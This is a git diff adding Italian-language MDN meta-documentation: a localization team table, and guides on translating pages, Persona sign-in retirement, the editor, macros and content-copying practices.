+   <td>(note o URL alla pagina del team del progetto di traduzione)</td>
+  </tr>
+  <tr>
+   <td>Italian</td>
+   <td> </td>
+   <td><a href="/profiles/Federico">Federico</a>, <a href="/profiles/mck89">mck89</a>, <a href="/profiles/marcostudios">marcostudios</a>, <a href="/profiles/loris94">loris94</a>, <a href="/profiles/MrW0lf">MrW0lf</a>, <a href="/profiles/Iacchi">Iacchi</a>, <a href="/profiles/camaleo">camaleo</a>, <a href="/profiles/marcantonio">marcantonio</a>, <a href="/profiles/Grino">Grino</a>, <a href="/profiles/Nicola_D">Nicola_D</a>, <a href="/profiles/EdoPut">EdoPut</a>, <a href="/profiles/Giona">Giona</a>, <a href="/profiles/klez">klez</a></td>
+   <td>Mozilla Italia cerca collaboratori! Se vuoi aiutare a localizzare MDN, ti chiediamo di guardare <a href="/it/docs/MDN/Contribute/Localize/GuidaItaliano">questa guida</a> per imparare come tradurre MDN.</td>
+  </tr>
+  <tr>
+   <td>Indonesian</td>
+   <td> </td>
+   <td><a href="/profiles/ariestiyansyah">ariestiyansyah</a>, <a href="/profiles/pieteru_insekai">Pieter Erlanda</a>,  <a href="/profiles/imrizal">imrizal</a>, <a href="/profiles/lunybear79999">Vernando Simbolon</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Japanese</td>
+   <td> </td>
+   <td><a href="/profiles/Yoshino">Yoshino(ex.Mozilla Japan)</a>, <a href="/profiles/Yuichiro">Yuichiro</a>, <a href="/profiles/myakura">myakura(Masataka Yakura)</a>, <a href="/profiles/yyss">yyss</a>, <a href="/profiles/ethertank">ethertank</a>, <a href="/profiles/sosleepy">sosleepy</a>, <a href="/profiles/Marsf">Marsf(Masahiko Imanaka)</a>, <a href="/profiles/Masayuki">Masayuki</a>, <a href="/profiles/nobuoka">nobuoka</a>, <a href="/profiles/yoshitanaka">yoshitanaka</a>, <a href="/profiles/taguchi-ch">taguchi-ch</a>, <a href="/profiles/sii">sii</a>, <a href="/profiles/saneyuki_s">saneyuki_s</a>, <a href="/profiles/Shimono">Shimono(Atsushi Shimono)</a>, <a href="/profiles/Taken">Taken(Takeshi Kurosawa)</a>, <a href="/profiles/Electrolysis">Electrolysis</a>, <a href="/profiles/dextra">dextra</a>,<a href="/profiles/Potappo">Potappo</a></td>
+   <td><a href="http://mdc.mozilla.gr.jp">MDC Japan Project</a> (-2009)</td>
+  </tr>
+  <tr>
+   <td>Lao ພາສາລາວ</td>
+   <td> </td>
+   <td>Anousak Souphavanh, Angkhan Buasavanh, Phaynalinh Sypasert, Sulaxay Manivong, <a href="/profiles/rcampbelllaos">Robert M Campbell</a>, <a href="/profiles/laothor777">Lao Thor</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Polish</td>
+   <td> </td>
+   <td><a href="/profiles/Ptak82">Tomasz Sokół</a>,<a href="/profiles/Marcoos">Marcoos(Marek Stępień)</a>, <a href="/profiles/Dapi">Dapi</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Spanish</td>
+   <td><a href="/profiles/maedca">Manuel Camacho</a></td>
+   <td><a href="/profiles/Nukeador">Nukeador, </a><a href="/profiles/Superruzafa">Superruzafa</a>, <a href="/profiles/vhanla">vhanla</a>, <a href="/profiles/maedca">maedca</a>, <a href="/profiles/inma_610">inma_610</a>, <a href="/profiles/ccarruitero">ccarruitero</a>, <a href="/profiles/artopal">artopal</a>, <a href="/profiles/StripTM">StripTM</a>, <a href="/profiles/Jorge.villalobos">Jorge.villalobos</a>, <a href="/profiles/Scipion">Scipion</a>, <a href="/profiles/Verruckt">Verruckt</a>, <a href="/profiles/Nathymig">Nathymig</a>, <a href="/profiles/Rkovac">Rkovac</a>, <a href="/profiles/ajimix">ajimix</a>, <a href="/profiles/mhauptma73">mhauptma73</a>, <a href="/profiles/deimidis">deimidis</a>, <a href="/profiles/Joalar">Joalar</a>, <a href="/profiles/Maharba">Maharba</a>, <a href="/profiles/jessest">jessest</a>, <a href="/profiles/MPoli">MPoli</a>, <a href="/profiles/nekside">Daniel Pereyra</a>, <a href="/profiles/luisgm76">luisgm76</a>, <a href="/profiles/LeoHirsch">LeoHirsch</a>, <a href="/profiles/gorrotowi">gorrotowi</a></td>
+   <td>Cerchiamo urgentemente traduttori.</td>
+  </tr>
+  <tr>
+   <td>Portuguese (Brazil)</td>
+   <td> </td>
+   <td><a href="/profiles/jaydson">Jaydson Gomes</a>, <a href="/profiles/galvao">Galvão</a>, <a href="/profiles/atilafassina">Atila</a>, <a href="/profiles/francisco.hansen">francisco.hansen</a>, <a href="/profiles/francineemilia">francineemilia</a>, <a href="/profiles/battisti">battisti</a>, <a href="/profiles/jpalharini">jpalharini</a>, <a href="/profiles/LeonardoPacheco">LeonardoPacheco</a>, <a href="/profiles/Lehrerschuler">Lehrerschuler</a>, <a href="/profiles/hsteffano">hsteffano</a>, <a href="/profiles/lfz">lfz</a>, <a href="/profiles/-pedrohenrique-">-pedrohenrique-</a>, <a href="/profiles/eduardodx">eduardodx</a>, <a href="/profiles/mateus.m.luna">mateus.m.luna</a>, <a href="/profiles/josivansilva">josivansilva</a>, <a href="/profiles/TelaSocial">TelaSocial</a>, <a href="/profiles/mazulo">mazulo</a>, <a href="/profiles/vlopez5">vlopez5</a>, <a href="/profiles/robsonds">robsonds</a>, <a href="/profiles/HenriqueSilverio">HenriqueSilverio</a>, <a href="/profiles/srsaude">srsaude</a></td>
+   <td><a href="http://mzl.la/Odmaq9">Come collaborare con MDN</a></td>
+  </tr>
+  <tr>
+   <td>Portuguese (Portugal)</td>
+   <td> </td>
+   <td><a href="/profiles/Leandro%20Mercês%20Xavier">Leandro Mercês Xavier, </a><a href="/profiles/msvolenski">Matheus Smythe Svolenski</a>, <a href="/profiles/Luis%20Henrique%20Sousa">Luis Henrique Sousa</a>, <a href="/profiles/f.sanxz">f.sanxz</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Korean</td>
+   <td><a href="/profiles/Channy">Channy Yun </a></td>
+   <td><a href="/ko/docs/Project:Korean_Contributors">Korean Contributors</a></td>
+   <td><a href="http://groups.google.com/group/mdckorea">Google Groups</a></td>
+  </tr>
+  <tr>
+   <td>German</td>
+   <td><a href="/profiles/fscholz">fscholz</a></td>
+   <td><a href="/profiles/eminor">eminor</a>, <a href="/profiles/AlexPl">AlexPl</a>, <a href="/profiles/Sprottenwels">Sprottenwels</a>, <a href="/profiles/tessarakt3">tessarakt3</a>, <a href="/profiles/jwl">jwl</a>, <a href="/profiles/SJW">SJW</a>, <a href="/profiles/HolgerSinn.Com">Holger Sinn</a>, <a href="/profiles/SebastianZ">Sebastian Zartner</a></td>
+   <td>Cerchiamo traduttori</td>
+  </tr>
+  <tr>
+   <td>
+    <p>Greek</p>
+   </td>
+   <td> </td>
+   <td><a href="/profiles/syssgx">syssgx, </a><a href="/profiles/JasnaPaka">JasnaPaka</a>, <a href="/profiles/DJ.Maca">DJ.Maca</a></td>
+   <td>Cerchiamo traduttori</td>
+  </tr>
+  <tr>
+   <td>Russian</td>
+   <td> </td>
+   <td><a href="/profiles/Cobalt747">Cobalt747</a>, <a href="/profiles/Sky_Fox">Sky_Fox</a>, <a href="/profiles/Chernetsky">Chernetsky</a>, <a href="/profiles/uleming">uleming</a>, <a href="/profiles/karasiov">karasiov</a>, <a href="/profiles/Dionys">Dionys</a>, <a href="/profiles/Megapotz">Megapotz</a>, <a href="/profiles/hazestalker">hazestalker</a>, <a href="/profiles/Kwinto">Kwinto</a>, <a href="/profiles/kup">kup</a></td>
+   <td>Cerchiamo traduttori</td>
+  </tr>
+  <tr>
+   <td>Chinese (Traditional)</td>
+   <td> </td>
+   <td><a href="/profiles/BobChao">BobChao, </a><a href="/profiles/Dwchiang">dwchiang</a>, <a href="/profiles/happysadman">happysadman</a>, <a href="/profiles/petercpg">petercpg</a>, <a href="/profiles/sailplaneTW">sailplaneTW</a>, <a href="/profiles/Kourge">Kourge</a>, <a href="/profiles/Josesun">Josesun</a>, <a href="/profiles/Sonrisa">Sonrisa</a>, <a href="/profiles/Kennyluck">Kennyluck</a>, <a href="/profiles/sycheng">sycheng</a>, <a href="/profiles/naihsi">naihsi</a>, <a href="/profiles/evelynhung">evelynhung</a>, <a href="/profiles/ypwalter">ypwalter</a>, <a href="/profiles/steely.wing">steely.wing</a></td>
+   <td>Cerchiamo traduttori! Unisciti a noi! <a href="https://groups.google.com/d/forum/mdnzh" title="MDN中文社羣">Google Groups</a>!</td>
+  </tr>
+  <tr>
+   <td>
+    <p>中文 (简体)</p>
+   </td>
+   <td>ziyunfei</td>
+   <td></td>
+   <td><span style="line-height: 1.5;">如有问题讨论，请加 QQ 群 26079139 咨询带头人。</span></td>
+  </tr>
+  <tr>
+   <td>Hebrew</td>
+   <td> </td>
+   <td><a href="/profiles/ziv">Ziv Perry, </a><a href="/profiles/Inkbug">Inkbug</a></td>
+   <td>Cerchiamo traduttori</td>
+  </tr>
+  <tr>
+   <td>Romanian</td>
+   <td> </td>
+   <td><a href="/profiles/raul.malea">Raul Malea</a>, <a href="/profiles/Andrew_Pham">Andrew_Pham</a></td>
+   <td>Cerchiamo traduttori.</td>
+  </tr>
+  <tr>
+   <td>Telugu</td>
+   <td> </td>
+   <td><a href="/profiles/Dyvik">Dyvik Chenna Thirunahari</a>, <a href="/profiles/Dyvik">Dyvik</a></td>
+   <td>Cerchiamo traduttori</td>
+  </tr>
+  <tr>
+   <td>Thai</td>
+   <td> </td>
+   <td><a href="/profiles/hapztron">Hassadee Pimsuwan</a></td>
+   <td>Cerchiamo traduttori</td>
+  </tr>
+  <tr>
+   <td>
+    <p><span style="line-height: 1.5;">Turkish</span></p>
+   </td>
+   <td> </td>
+   <td><a href="/profiles/techexpert">Hakan Damar</a>, <a href="/profiles/ramesaliyev">ramesaliyev</a></td>
+   <td>
+    <p>Cerchiamo urgentemente traduttori</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Hindi</td>
+   <td> </td>
+   <td><a href="profiles/Meghraj">Meghraj Suthar</a>, <a href="/profiles/meghraj">meghraj</a></td>
+   <td>
+    <p>Cerchiamo traduttori</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Hawaiian</td>
+   <td> </td>
+   <td><a href="/profiles/Kolonahe">Kolonahe</a></td>
+   <td>Cerchiamo urgentemente traduttori</td>
+  </tr>
+  <tr>
+   <td>Serbian</td>
+   <td> </td>
+   <td><a href="https://developer.mozilla.org/en-US/profiles/VladimirKrstic">Vladimir Krstic</a></td>
+   <td>Iniziate a localizzare, siete i benvenuti. C'è molto da fare!</td>
+  </tr>
+  <tr>
+   <td>Sinhalese</td>
+   <td><a href="/profiles/pkavinda">pkavinda</a></td>
+   <td><a href="https://developer.mozilla.org/en-US/profiles/pkavinda">Pasindu Kavinda (පසිඳු කවින්ද)</a></td>
+   <td>
+    <p>Cerchiamo traduttori</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Malayalam</td>
+   <td><a href="https://developer.mozilla.org/en-US/profiles/riginoommen">Rigin Oommen</a></td>
+   <td><a href="https://developer.mozilla.org/profiles/amjadm61">Amjad M</a>, <a href="https://developer.mozilla.org/en-US/profiles/Kumaresan.C.S">Kumaresan C.S</a>, <a href="https://developer.mozilla.org/en-US/profiles/alfasst">ST Alfas</a></td>
+   <td>Siamo alla ricerca di persone in grado di tradurre documenti  in lingua malese.</td>
+  </tr>
+  <tr>
+   <td>Myanmar</td>
+   <td><a href="https://developer.mozilla.org/en-US/profiles/SetKyarWaLar">Set Kyar Wa lar</a></td>
+   <td><a href="https://developer.mozilla.org/en-US/profiles/SetKyarWaLar">Set Kyar Wa Lar</a></td>
+   <td>Siamo alla ricerca di persone in grado di tradurre documenti  in lingua birmana.</td>
+  </tr>
+ </tbody>
+</table>
+<section id="Quick_Links">
+ <ol>
+  <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Localization" title="Localizzazione">Localizzazione</a></li>
+  <li><a href="/en-US/docs/Localization_and_Plurals">Localizzazione e plurali</a></li>
+  <li><a href="/en-US/docs/Mozilla/Localization/Localizing_with_Verbatim">Localizzazione con Verbatim</a></li>
+ </ol>
+</section>
diff --git a/files/it/mdn/contribute/localize/translating_pages/index.html b/files/it/mdn/contribute/localize/translating_pages/index.html
new file mode 100644
index 0000000000..f45ad0085f
--- /dev/null
+++ b/files/it/mdn/contribute/localize/translating_pages/index.html
@@ -0,0 +1,55 @@
+---
+title: Come tradurre le pagine di MDN
+slug: MDN/Contribute/Localize/Translating_pages
+tags:
+  - Guide
+  - Localization
+  - MDN Meta
+  - Page Translation
+  - l10n
+translation_of: MDN/Contribute/Localize/Translating_pages
+---
+<p>{{MDNSidebar}}</p>
+
+<p>Questo articolo contiene una guida di base su come tradurre i contenuti su MDN, includendo sia le meccaniche di traduzione che consigli per la corretta gestione dei diversi tipi di argomenti.</p>
+
+<h2 id="Iniziare_una_nuova_traduzione">Iniziare una nuova traduzione</h2>
+
+<p>Quando t'imbatti in una pagina che vorresti vedere tradotta nella tua lingua, segui questi passaggi:</p>
+
+<ol style="list-style-type: decimal;">
+ <li>Clicca sull'icona delle lingue per aprire il menu <strong>delle lingue</strong> e clicca su <strong>Add a Translation.</strong> Se non dovessi trovare questa voce, prova  prima a passare alla lingua Inglese.</li>
+ <li>Nella pagina <strong>Select Languages</strong>, scegli la lingua in cui vuoi tradurre il testo. Si aprirà la pagina con l'articolo originale sulla sinistra e l'editor di testo per scrivere la nuova versione sulla destra dello schermo.</li>
+ <li>Nella sezione <strong>Translate Description,</strong> puoi tradurre il titolo e lo <em>slug</em> della pagina. Lo <em>slug</em> è l'ultima parte dell'url di una pagina (per esempio, "Translating_pages" in questo articolo). In alcune lingue lo slug non viene tradotto, mantenendo quello originale in inglese. Confronta dunque le altre pagine nella tua lingua per seguire una pratica comune. Per nascondere la sezione <strong>Translate Description</strong> puoi cliccare sul meno a sinistra del titolo, così da avere più spazio sullo schermo per la sezione <strong>Translate Content</strong>.</li>
+ <li>Nella sezione <strong>Translate Content</strong> puoi tradurre il testo principale e puoi vederne l'anteprima cliccando su <strong>Preview Changes</strong>.</li>
+ <li>Ricordati di scegliere almeno un <strong>tag</strong> per pagina.</li>
+ <li>Clicca <strong>Save Changes</strong> quando hai finito, <strong>Discard Changes </strong>se hai deciso di annullare le modifiche apportate.</li>
+</ol>
+
+<div class="note"><strong>Nota:</strong> L'interfaccia di traduzione è inizialmente mostrata in inglese. Nelle successive visite verrà visualizzata nella tua lingua, sempre se il servizio di localizzazione di MDN riesce a stabilirla.<span style="line-height: 1.5em;"> La lingua viene scelta usando il servizio </span><a href="https://localize.mozilla.org/projects/mdn/" style="line-height: 1.5em;" title="https://localize.mozilla.org/projects/mdn/">Verbatim</a><span style="line-height: 1.5em;">.</span><br>
+<span style="line-height: 1.5em;">Vai a </span><a href="/it/docs/Mozilla/Localization/Localizing_with_Verbatim" style="line-height: 1.5em;" title="/en-US/docs/Mozilla/Localization/Localizing_with_Verbatim">Localizzazione con Verbatim</a><span style="line-height: 1.5em;"> per i dettagli di questo strumento.</span></div>
+
+<h2 id="Modificare_una_pagina_già_tradotta">Modificare una pagina già tradotta</h2>
+
+<ul>
+ <li>In una pagina già tradotta, clicca il pulsante <strong>Edit</strong> (qualche volta già tradotto nella tua lingua). L’interfaccia di traduzione dell’artiolo si aprirà.</li>
+</ul>
+
+<p>Se la versione originale in inglese è stata modificata dopo l'ultimo aggiornamento nella tua lingua, l'interfaccia di traduzione mostrerà le modifiche a livello del codice sorgente, che può essere utile per aggiornare la traduzione.</p>
+
+<h2 id="Tag">Tag</h2>
+
+<p>È importante che ogni pagina abbia almeno un tag. Anche se si tratta di una traduzione. Generalmente, usare gli stessi tag della versione originale dell’articolo è una buona prassi.</p>
+
+<p>Alcuni tag sono utilizzati come filtri per le ricerche, o come riferimento per chi contribuisce a MDN. Non dovrebbero essere tradotti. Per sapere quali sono questi tag, visita la pagina <a href="/it/docs/Project:MDN/Contributing/Tagging_standards">standard di etichettatura</a>. Sei libero di creare nuovi tag nella tua lingua, a patto che non siano parte di questa lista.</p>
+
+<h2 id="Suggerimenti_per_i_nuovi_localizzatori"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 40px;"><strong>Suggerimenti per i nuovi localizzatori</strong></span></font></h2>
+
+<p>Se tu sei principiante nella localizzazione su MDN, qui sono alcuni suggerimenti:</p>
+
+<ul>
+ <li>Gli articoli nel <a href="/it/docs/User:Leofiore_Glossario">Glossario</a> sono molto utili per le nuove persone arrivate per la traduzione, perché sono corti e semplici.</li>
+ <li>Gli articoli che sono taggati <a href="https://developer.mozilla.org/en-US/docs/tag/l10n%3Apriority">l10n:priority</a> sono considerati come alta priorità da tradurre. Anche, generalmente, i tutoriali ed gli articoli concettuali sono alta priorità più che le pagine di riferimento, perché i lettori hanno più bisogno per le traduzioni quando vanno ad imparare nuovi concetti.</li>
+ <li>Se vedi del testo nelle doppie parentesi graffe, come \{{some-text("more text")}}, lascialo senza traduzione nell’articolo e non modificarli la puntuazione. Questa è una macro, che probabilmente crea la struttura della pagina, oppure fa qualcosa di utile. Probabilmente vedrai del testo non tradotto che viene generato da una maro; non preoccuparti affinché tu non accumuli più esperienza con MDN. (Cambiare questo testo richiede privilegi speciali perché le macro possono avere un gran potere.) Se sei curioso, dai  un’occhiata sugli macro più usati per vedere le cose che gli macro possono fare.</li>
+ <li>Cerca la pagina della localizzazione degli progetti per trovare di più sulla localizzazione della tua zona.</li>
+</ul>
diff --git a/files/it/mdn/contribute/persona_sign-in/index.html b/files/it/mdn/contribute/persona_sign-in/index.html
new file mode 100644
index 0000000000..5b89975a4d
--- /dev/null
+++ b/files/it/mdn/contribute/persona_sign-in/index.html
@@ -0,0 +1,26 @@
+---
+title: MDN and Persona sign-ins
+slug: MDN/Contribute/Persona_sign-in
+translation_of: Archive/MDN/Persona_sign-ins
+---
+<div>{{MDNSidebar}}</div><div class="warning">
+<p>Please <a href="/en-US/docs/MDN/Contribute/Howto/Link_a_GitHub_account">link your GitHub account to your MDN profile now</a> so you can continue to sign into MDN.</p>
+</div>
+
+<p>Attualmente, MDN permette ai collaboratori di accedere utilizzando due differenti modalità: Mozilla Persona e GitHub. A partire dal 1 novembre 2016 verrà rimossa l'opzione Persona per il login. Di conseguenza, sarà necessario abilitare l'autenticazione Github sul proprio profilo per evitare di perdere l'accesso di login a MDN.</p>
+
+<p>Ci rendiamo conto che questo è un inconveniente e ci scusiamo per questo. Purtroppo questa cosa è al di fuori del nostro controllo.</p>
+
+<h2 id="Perché_Persona_verrà_rimosso">Perché Persona verrà rimosso?</h2>
+
+<p>Mozilla ha terminato il progetto Persona<span style="line-height: 1.5;">, e i suoi server verranno spenti nel Novembre 2016. You can </span><a style="line-height: 1.5;" href="https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers#FAQs">learn more about Mozilla's decision</a><span style="line-height: 1.5;"> to shut down Persona on the Mozilla wiki.</span></p>
+
+<h2 id="When_will_Persona_be_removed">When will Persona be removed?</h2>
+
+<p>We will disable Persona as an authentication provider on November 1, 2016; in other words, the last day you'll be able to sign into MDN using Persona will be October 31, 2016. We will be issuing increasingly frequent and increasingly urgent notifications to <a href="/en-US/docs/MDN/Contribute/Howto/Link_a_GitHub_account">add a GitHub account to your MDN profile</a> starting now. Please do this as soon as you can, in order to avoid any risk of losing access to your MDN account.</p>
+
+<h2 id="Will_MDN_offer_another_authentication_provider">Will MDN offer another authentication provider?</h2>
+
+<p>We would very much like to do so, but have not yet identified another provider which meets our requirements; in addition, we don't currently have the developer resources to integrate another provider. For the time being, your <em>only</em> option to keep contributor access to MDN is to <a href="/en-US/docs/MDN/Contribute/Howto/Link_a_GitHub_account">link your MDN profile to your GitHub account</a>.</p>
+
+<p>Keep in mind, of course, that you don't need to sign into MDN in order to read our content. But if you have an account for contributing, and wish to be able to contribute at any time in the future, be sure to <em><strong>add a GitHub account to your profile as soon as you can,</strong></em> before October 31, 2016.</p>
diff --git a/files/it/mdn/editor/index.html b/files/it/mdn/editor/index.html
new file mode 100644
index 0000000000..856ef1fc2d
--- /dev/null
+++ b/files/it/mdn/editor/index.html
@@ -0,0 +1,9 @@
+---
+title: Guida all'editor di MDN
+slug: MDN/Editor
+translation_of: MDN/Editor
+---
+<div>{{MDNSidebar}}</div><p><span class="seoSummary">L'editor WYSIWYG (what-you-see-is-what-you-get, ciò che vedi è ciò che ottieni) messo a disposizione dal wiki del Mozilla Developer Network semplifica la creazione di nuovi contenuti. La guida all'editor di MDN fornisce alcune informazioni sull'utilizzo dell'editor e su alcune caratteristiche utili che possono migliorare la tua produttività.</span></p>
+<p>La <a href="/it/docs/MDN/Contribute/Content/Style_guide" title="/en-US/docs/Project:MDN/Style_guide">guida di stile di MDN</a> fornisce alcune informazioni sulla formattazione e lo stile da applicare ai contenuti, comprese le regole di grammatica che preferiamo vengano utilizzate.</p>
+<p>{{LandingPageListSubpages}}</p>
+<p>{{EditorGuideQuicklinks}}</p>
diff --git a/files/it/mdn/guidelines/index.html b/files/it/mdn/guidelines/index.html
new file mode 100644
index 0000000000..11412724a1
--- /dev/null
+++ b/files/it/mdn/guidelines/index.html
@@ -0,0 +1,13 @@
+---
+title: MDN content and style guides
+slug: MDN/Guidelines
+tags:
+  - Documentation
+  - Landing
+  - MDN
+  - NeedsTranslation
+  - TopicStub
+translation_of: MDN/Guidelines
+---
+<div>{{MDNSidebar}}</div><p><span class="seoSummary">These guides provide details on how MDN documentation should be written and formatted, as well as how our code samples and other content should be presented.</span> By following these guides, you can ensure that the material you produce is clean and easy to use.</p>
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/it/mdn/guidelines/macros/index.html b/files/it/mdn/guidelines/macros/index.html
new file mode 100644
index 0000000000..a09cf37e30
--- /dev/null
+++ b/files/it/mdn/guidelines/macros/index.html
@@ -0,0 +1,42 @@
+---
+title: Using macros on MDN
+slug: MDN/Guidelines/Macros
+tags:
+  - italino tags
+translation_of: MDN/Structures/Macros
+---
+<div>{{MDNSidebar}}</div><p><span class="seoSummary">The <a href="/en-US/docs/Project:MDN/Kuma" title="/en-US/docs/Project:MDN/Kuma">Kuma</a> platform on which MDN runs provides a powerful macro system, <a href="/en-US/docs/Project:MDN/Kuma/KumaScript_guide" title="/en-US/docs/Project:MDN/Kuma/KumaScript_guide">KumaScript</a>, which makes it possible to do a wide variety of things automatically. This article provides information on how to invoke MDN's macros within articles.</span></p>
+
+<p>The <a href="/en-US/docs/Project:MDN/Kuma/KumaScript_guide" title="/en-US/docs/Project:MDN/Kuma/KumaScript_guide">KumaScript guide</a> provides an in-depth look at how to use macros on MDN, so this section is more of a brief overview. If you've already read the section above on {{SectionOnPage("/en-US/docs/Project:MDN/Contributing/Editor_guide/Links", "Using link macros")}}, you're already at least a little bit familiar with the concept.</p>
+
+<h2 id="How_macros_are_implemented">How macros are implemented</h2>
+
+<p>Macros on MDN are implemented using server-executed <a href="/en-US/docs/Web/JavaScript" title="/en-US/docs/Web/JavaScript">JavaScript</a> code, interpreted using <a href="http://nodejs.org/" title="http://nodejs.org/">Node.js</a>. On top of that we have a number of libraries we've implemented that provide wiki-oriented services and features to let macros interact with the wiki platform and its contents. If you're interested in learning more, see the <a href="/en-US/docs/Project:MDN/Kuma/KumaScript_guide" title="/en-US/docs/Project:MDN/Kuma/KumaScript_guide">KumaScript guide</a>; the <a href="/en-US/docs/Project:MDN/Kuma/KumaScript_reference" title="/en-US/docs/Project:MDN/Kuma/KumaScript_reference">KumaScript reference</a> provides details on the libraries and other KumaScript APIs we've implemented.</p>
+
+<h2 id="Using_a_macro_in_content">Using a macro in content</h2>
+
+<p>To actually use a macro, you simply enclose the call to the macro in a pair of double-braces, with its parameters, if any, enclosed in parentheses; that is:</p>
+
+<pre class="notranslate">\{{macroname(parameter-list)}}</pre>
+
+<p>A few notes about macro calls:</p>
+
+<ul>
+ <li>Macro names are case-sensitive, but some attempt is made to correct for common capitalization errors; you may use all lowercase even if the macro name uses caps within it, and you may capitalize a macro whose name normally starts with a lower-case letter.</li>
+ <li>Parameters are separated by commas.</li>
+ <li>If there are no parameters, you may leave out the parentheses entirely; <code>\{{macroname()}}</code> and <code>\{{macroname}}</code> are identical.</li>
+ <li>Numeric parameters can be in quotes, or not. It's up to you (however, if you have a version number with multiple decimals in it, it needs to be in quotes).</li>
+ <li>If you get errors, review your code carefully. If you still can't figure out what's going on, see <a href="/en-US/docs/MDN/Kuma/Troubleshooting_KumaScript_errors">Troubleshooting KumaScript errors</a> for help.</li>
+</ul>
+
+<p>Macros are heavily cached; for any set of input values (both parameters and environmental values such as the URL for which the macro was run), the results are stored and reused. This means that the macro is only actually run when the inputs change.</p>
+
+<div class="note">
+<p><strong>Note:</strong> You can force all the macros on a page to be re-evaluated by force-refreshing the page in your browser (that is, a shift-reload).</p>
+</div>
+
+<p>Macros can be as simple as just inserting a larger block of text or swapping in contents from another part of MDN, or as complex as building an entire index of content by searching through parts of the site, styling the output, and adding links.</p>
+
+<p>You can read up on our most commonly-used macros on the <a href="/en-US/docs/Project:MDN/Contributing/Custom_macros" title="/en-US/docs/Project:MDN/Contributing/Custom_macros">Custom macros</a> page; also, there's a <a href="https://developer.mozilla.org/en-US/docs/templates" title="https://developer.mozilla.org/en-US/docs/templates">complete list of all macros</a> here. Most macros have documentation built into them, as comments at the top.</p>
+
+<p>{{EditorGuideQuicklinks}}</p>
diff --git a/files/it/mdn/guidelines/migliore_pratica/index.html b/files/it/mdn/guidelines/migliore_pratica/index.html
new file mode 100644
index 0000000000..2aadc92c27
--- /dev/null
+++ b/files/it/mdn/guidelines/migliore_pratica/index.html
@@ -0,0 +1,34 @@
+---
+title: Migliore pratica
+slug: MDN/Guidelines/Migliore_pratica
+tags:
+  - Guida
+  - MDN Meta
+  - linee guida
+translation_of: MDN/Guidelines/Conventions_definitions
+---
+<div>{{MDNSidebar}}</div><p>Quest'articolo descrive i metodi raccomandati di lavoro con il contenuto su MDN. Queste linee guida descrivono i metodi preferiti per fare tutto ciò che porta ad un miglior risultato, o offrire un consiglio nel decidere tra diversi metodi nel fare cose simili.</p>
+
+<h2 id="Copiare_il_contenuto">Copiare il contenuto</h2>
+
+<p>A volte, avrai la necessità di utilizzare lo stesso testo su più pagine (oppure utilizzare il modello di una pagina per un'altra). Hai tre opzioni:</p>
+
+<ul>
+ <li>Se vuoi copiare un'intera pagina:
+  <ol>
+   <li>Visualizzando una pagina che vuoi copiare, nel menù Avanzate (ingranaggio), scegli <strong><a href="/en-US/docs/MDN/Contribute/Creating_and_editing_pages#Clone_of_an_existing_page">Clona questa pagina</a></strong>. Si aprirà l'editor per l'interfaccia utente per una nuova pagina, con il contenuto della pagina clonata già pronto.</li>
+   <li>Inserisci un nuovo <strong>Titolo</strong> e uno <strong>Slug</strong> per la pagina clonata.</li>
+   <li>Modifica il contenuto della pagina come necessario, e salva come sempre.</li>
+  </ol>
+ </li>
+ <li>Se vuoi copiare solamente una parte della pagina, <strong>non visitare semplicamente la pagina copiandolo da lì</strong>. Questo metodo aggiunge dei bit di HTML indesiderati nella pagina di destinazione, e qualcuno dovrà sistemarlo, tu o un altro editor. Nessuno vuole questo. Per copiare una parte di una pagina MDN in un'altra:
+  <ol>
+   <li>Nella pagina originale, clicca il pulsante <strong>modifica.</strong>  n the source page, click the <strong>Edit</strong> button on the source page.</li>
+   <li><strong>Copia il contenuto che vuoi riutilizzare attraverso l'editor dell'interfaccia utente.</strong></li>
+   <li>Clicca <strong>Annulla</strong> per uscire dell'editor di quella pagina.</li>
+   <li>Apri l'editor della pagina di destinazione.</li>
+   <li>Incolla il testo copiato.</li>
+  </ol>
+ </li>
+ <li>A volte avrai bisogno di utilizzare lo stesso contenuto su diverse pagine in maniera letterale. In questo caso, sarebbe meglio posizionare il contenuto in una pagina, poi utilizzando la macro {{TemplateLink("Page")}} trasferire il materiale da una pagina all'altra. In questo modo, quando il testo della pagina sorgente sarà aggiornato, la pagina di destinazione lo sarà di conseguenza (ovvero, succederà quando ci sarà un aggiornamento forzato o la pagina andrà in manutenzione automatica).</li>
+</ul>
diff --git a/files/it/mdn/index.html b/files/it/mdn/index.html
new file mode 100644
index 0000000000..16a5058327
--- /dev/null
+++ b/files/it/mdn/index.html
@@ -0,0 +1,29 @@
+---
+title: Il progetto MDN
+slug: MDN
+translation_of: MDN
+---
+<div>{{MDNSidebar}}</div>
+
+<p><strong>Mozilla Developer Network</strong> (MDN) è un wiki che utilizziamo per documentare il Web open, le tecnologie Mozilla, Firefox OS e altri argomenti inerenti il lavoro degli sviluppatori. Tutti coloro che vogliono aggiungere o modificare contenuti sono i benvenuti. Non è necessario essere programmatori o sapere tutto sulla tecnologia; esistono vari compiti che necessitano di volontari, dai più semplici (revisione e correzione degli articoli) ai più complessi (scrivere documentazione per le API).</p>
+
+<div class="summary">
+<p>L'obiettivo del progetto MDN è quello di documentare l'Open Web, le tecnologie Mozilla e il progetto Mozilla. Ti invitiamo ad aiutarci!</p>
+</div>
+
+<p>Ci serve il tuo aiuto! È semplice. Non serve che chiedi il permesso e non avere paura di commettere errori. D'altro canto, ti consigliamo di fare conoscenza con la <a href="/it/docs/MDN/Community" title="/it/docs/MDN/Community">comunità MDN</a>; siamo qui per aiutarti! La documentazione sottostante può essere un valido aiuto per iniziare.</p>
+
+
+
+<ul class="card-grid">
+ <li><span><a class="new" href="/it/docs/MDN/Getting_started" rel="nofollow">Sono alle prime armi</a></span>
+
+  <p>Sei nuovo su MDN e vuoi scoprire come aiutarci a rendere migliore il progetto? Comincia da qui!</p>
+ </li>
+ <li><span><a href="/en-us/docs/MDN/Contribute">Sono un utente avanzato</a></span>
